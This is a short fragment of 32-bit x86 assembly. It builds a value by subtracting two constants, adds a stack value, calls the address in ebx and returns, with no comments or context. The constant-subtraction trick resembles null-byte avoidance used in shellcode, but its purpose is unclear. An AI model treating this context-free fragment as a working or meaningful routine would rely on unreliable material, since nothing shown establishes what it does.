add eax, 5
mov ecx, 0x7897985f
sub ecx, 0x4a97985f
add ecx, dword [ebp - 0x24]
call ebx
leave
ret